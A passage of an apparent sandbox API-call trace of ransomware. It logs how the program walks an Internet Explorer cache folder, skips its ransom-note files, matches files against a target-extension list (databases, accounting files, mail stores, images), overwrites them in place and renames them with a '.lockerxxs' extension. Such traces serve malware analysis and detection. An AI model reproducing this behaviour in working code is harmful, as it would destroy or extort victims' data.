HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmkdf[1].jpg.lockerxxs")) returned 1 [0084.094] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53846310, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53846310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53846310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x142e, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBMQch[1].jpg", cAlternateFileName="BBBMQC~1.JPG")) returned 1 [0084.094] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.094] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBMQch[1].jpg") returned 1 [0084.094] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBMQch[1].jpg") returned 1 [0084.094] lstrcmpiA (lpString1="", lpString2="BBBMQch[1].jpg") returned -1 [0084.094] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg") returned="BBBMKDF[1].jpg" [0084.094] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.094] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.095] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.095] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.095] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBMQch[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg" [0084.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.ems") returned 0 [0084.095] lstrlenA (lpString="*.ems") returned 5 [0084.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.db") returned 0 [0084.095] lstrlenA (lpString="*.db") returned 4 [0084.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.dbf") returned 0 [0084.095] lstrlenA (lpString="*.dbf") returned 5 [0084.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.myox") returned 0 [0084.095] lstrlenA (lpString="*.myox") returned 6 [0084.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.myo") returned 0 [0084.095] lstrlenA (lpString="*.myo") returned 5 [0084.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.qbw") returned 0 [0084.095] lstrlenA (lpString="*.qbw") returned 5 [0084.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.qbb") returned 0 [0084.095] lstrlenA (lpString="*.qbb") returned 5 [0084.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.qbm") returned 0 [0084.095] lstrlenA (lpString="*.qbm") returned 5 [0084.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.qbo") returned 0 [0084.095] lstrlenA (lpString="*.qbo") returned 5 [0084.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.qbx") returned 0 [0084.096] lstrlenA (lpString="*.qbx") returned 5 [0084.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.qba") returned 0 [0084.096] lstrlenA (lpString="*.qba") returned 5 [0084.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.qby") returned 0 [0084.096] lstrlenA (lpString="*.qby") returned 5 [0084.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.qbj") returned 0 [0084.096] lstrlenA (lpString="*.qbj") returned 5 [0084.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.ofx") returned 0 [0084.096] lstrlenA (lpString="*.ofx") returned 5 [0084.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.qif") returned 0 [0084.096] lstrlenA (lpString="*.qif") returned 5 [0084.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.mye") returned 0 [0084.096] lstrlenA (lpString="*.mye") returned 5 [0084.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.mbox") returned 0 [0084.096] lstrlenA (lpString="*.mbox") returned 6 [0084.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.eml") returned 0 [0084.096] lstrlenA (lpString="*.eml") returned 5 [0084.096] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.pst") returned 0 [0084.096] lstrlenA (lpString="*.pst") returned 5 [0084.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.ost") returned 0 [0084.097] lstrlenA (lpString="*.ost") returned 5 [0084.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.idx") returned 0 [0084.097] lstrlenA (lpString="*.idx") returned 5 [0084.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.dbx") returned 0 [0084.097] lstrlenA (lpString="*.dbx") returned 5 [0084.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.sql") returned 0 [0084.097] lstrlenA (lpString="*.sql") returned 5 [0084.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.mdb") returned 0 [0084.097] lstrlenA (lpString="*.mdb") returned 5 [0084.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.fdb") returned 0 [0084.097] lstrlenA (lpString="*.fdb") returned 5 [0084.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.wab") returned 0 [0084.097] lstrlenA (lpString="*.wab") returned 5 [0084.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.dat") returned 0 [0084.097] lstrlenA (lpString="*.dat") returned 5 [0084.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.txt") returned 0 [0084.097] lstrlenA (lpString="*.txt") returned 5 [0084.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.jpeg") returned 0 [0084.097] lstrlenA (lpString="*.jpeg") returned 6 [0084.097] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", pszSpec="*.jpg") returned 1 [0084.097] lstrlenA (lpString="*.jpg") returned 5 [0084.097] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg" [0084.097] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg" [0084.098] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg." [0084.098] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg.lockerxxs" [0084.098] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmqch[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.098] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x142e [0084.098] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53846310, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53846310, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53846310, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.098] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.098] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1408, lpOverlapped=0x0) returned 1 [0084.100] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg") returned="BBBMQch[1].jpg" [0084.100] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.101] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1408, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1408, lpOverlapped=0x0) returned 1 [0084.101] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.101] CloseHandle (hObject=0xa4) returned 1 [0084.101] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmqch[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmqch[1].jpg.lockerxxs")) returned 1 [0084.102] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58321c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58321c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x58321c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e6b, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBMyVh[1].jpg", cAlternateFileName="BBBMYV~1.JPG")) returned 1 [0084.102] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.102] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBMyVh[1].jpg") returned 1 [0084.102] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBMyVh[1].jpg") returned 1 [0084.102] lstrcmpiA (lpString1="", lpString2="BBBMyVh[1].jpg") returned -1 [0084.102] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg") returned="BBBMQch[1].jpg" [0084.102] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.102] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.102] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.102] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.103] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBMyVh[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg" [0084.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.ems") returned 0 [0084.103] lstrlenA (lpString="*.ems") returned 5 [0084.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.db") returned 0 [0084.103] lstrlenA (lpString="*.db") returned 4 [0084.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.dbf") returned 0 [0084.103] lstrlenA (lpString="*.dbf") returned 5 [0084.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.myox") returned 0 [0084.103] lstrlenA (lpString="*.myox") returned 6 [0084.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.myo") returned 0 [0084.103] lstrlenA (lpString="*.myo") returned 5 [0084.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.qbw") returned 0 [0084.103] lstrlenA (lpString="*.qbw") returned 5 [0084.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.qbb") returned 0 [0084.103] lstrlenA (lpString="*.qbb") returned 5 [0084.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.qbm") returned 0 [0084.103] lstrlenA (lpString="*.qbm") returned 5 [0084.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.qbo") returned 0 [0084.103] lstrlenA (lpString="*.qbo") returned 5 [0084.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.qbx") returned 0 [0084.103] lstrlenA (lpString="*.qbx") returned 5 [0084.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.qba") returned 0 [0084.103] lstrlenA (lpString="*.qba") returned 5 [0084.103] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.qby") returned 0 [0084.103] lstrlenA (lpString="*.qby") returned 5 [0084.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.qbj") returned 0 [0084.104] lstrlenA (lpString="*.qbj") returned 5 [0084.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.ofx") returned 0 [0084.104] lstrlenA (lpString="*.ofx") returned 5 [0084.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.qif") returned 0 [0084.104] lstrlenA (lpString="*.qif") returned 5 [0084.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", pszSpec="*.mye") returned 0 [0084.104] lstrlenA (lpString="*.mye") returned 5 [0084.104] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg", 